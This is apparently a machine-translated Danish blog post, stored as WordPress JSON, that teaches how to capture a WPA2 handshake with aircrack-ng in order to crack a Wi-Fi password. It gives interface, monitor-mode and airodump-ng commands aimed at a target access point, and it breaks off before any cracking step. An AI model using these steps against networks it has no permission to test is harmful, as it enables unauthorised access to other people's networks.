{"id":37406,"date":"2019-10-31T22:17:27","date_gmt":"2019-10-31T19:17:27","guid":{"rendered":"https:\/\/prohoster.info\/blog\/podbor-parolya-wi-fi-utilitoj-aircrack-ng\/"},"modified":"2019-10-31T22:17:27","modified_gmt":"2019-10-31T19:17:27","slug":"podbor-parolya-wi-fi-utilitoj-aircrack-ng","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/administrirovanie\/podbor-parolya-wi-fi-utilitoj-aircrack-ng","title":{"rendered":"Oprettelse af Wi-Fi-adgangskode ved hj\u00e6lp af aircrack-ng v\u00e6rkt\u00f8jet","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Denne artikel er skrevet udelukkende til informations- og forskningsform\u00e5l. Vi opfordrer dig til at overholde reglerne for netv\u00e6rksbrug og lovgivning, samt altid huske p\u00e5 informationssikkerhed.<\/i><\/p><\/blockquote>\n

Introduktion<\/h3>\n

\nI begyndelsen af 1990'erne, da Wi-Fi lige var blevet introduceret, blev algoritmen Wired Equivalent Privacy udviklet, som skulle sikre fortroligheden af Wi-Fi-netv\u00e6rk. Imidlertid viste WEP sig at v\u00e6re en ineffektiv beskyttelsesalgoritme, der let kunne brydes.<\/p>\n

Til geng\u00e6ld kom den nye beskyttelsesalgoritme Wi-Fi Protected Access II, som i dag anvendes af de fleste Wi-Fi-adgangspunkter. WPA2 bruger en krypteringsalgoritme, AES, som er meget vanskelig at bryde.
\n<\/a><\/noindex><\/p>\n

Men hvor er s\u00e5rbarheden?<\/h3>\n

\nUlempen ved WPA2 er, at den krypterede adgangskode sendes, n\u00e5r brugerne opretter forbindelse under det s\u00e5kaldte 4-way handshake. Hvis vi opfanger h\u00e5ndtrykket, kan vi f\u00e5 fat i den krypterede adgangskode, og det eneste vi skal g\u00f8re, er at dekryptere den. Til dette form\u00e5l kan vi bruge aircrack-ng.<\/p>\n

Hvordan kan man bryde ind?<\/h3>\n

<\/p>\n

Trin 1. Identificer netv\u00e6rksgr\u00e6nsefladen<\/h4>\n

\nF\u00f8rst skal vi finde ud af, hvilken netv\u00e6rksgr\u00e6nseflade vi har brug for, for dette indtaster vi kommandoen:<\/p>\n

$ ifconfig<\/code><\/pre>\n
\nVi f\u00e5r svaret:<\/p>\n
eth0      no wireless extensions.\n\nwlan0     IEEE 802.11abgn  ESSID:off\/any\nMode:Managed  Access Point: Not-Associated   Tx-Power=15 dBm\nRetry short limit:7   RTS thr:off   Fragment thr:off\nEncryption key:off\nPower Management:off\n\nlo        no wireless extensions<\/code><\/pre>\n
\nI mit tilf\u00e6lde er der kun tre gr\u00e6nseflader, hvoraf to ikke har tr\u00e5dl\u00f8se udvidelser (no wireless extensions). Derfor er vi kun interesseret i wlan0.<\/p>\n
Trin 2. S\u00e6tte netv\u00e6rksadapteren i monitor-mode<\/h4>\n
\nAt s\u00e6tte netv\u00e6rksadapteren i monitor-mode vil give os mulighed for at se den tr\u00e5dl\u00f8se trafik, der passerer omkring os. For at g\u00f8re dette indtaster vi kommandoen:<\/p>\n
$ airmon-ng start wlan0<\/code><\/pre>\n
\nBem\u00e6rk, at airmon-ng har omd\u00f8bt din gr\u00e6nseflade (jeg har f\u00e5et den til at hedde mon0, men du b\u00f8r stadig tjekke).<\/p>\n
Trin 3. Opfange trafik<\/h4>\n
\nNu hvor vores netv\u00e6rksadapter er i monitor-mode, kan vi opfange den trafik, der passerer forbi, ved at anvende kommandoen airodump-ng. Indtast:<\/p>\n
$ airodump-ng mon0<\/code><\/pre>\n
\n\"Oprettelse
\n
\nBem\u00e6rk, at alle synlige adgangspunkter er opf\u00f8rt \u00f8verst p\u00e5 sk\u00e6rmen, og klienterne er opf\u00f8rt nederst p\u00e5 sk\u00e6rmen.<\/p>\n
Trin 4. Fokuser opfangelsen p\u00e5 et bestemt adgangspunkt.<\/h4>\n
\nVores n\u00e6ste skridt er at fokusere vores indsats p\u00e5 en af adgangspunkterne og dens kanal. Vi er interesserede i BSSID og kanalnummeret p\u00e5 det adgangspunkt, vi vil hacke. Lad os \u00e5bne endnu et terminalvindue og indtaste:<\/p>\n
$ airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0<\/code><\/pre>\n
\n\"Oprettelse
\n<\/p>\n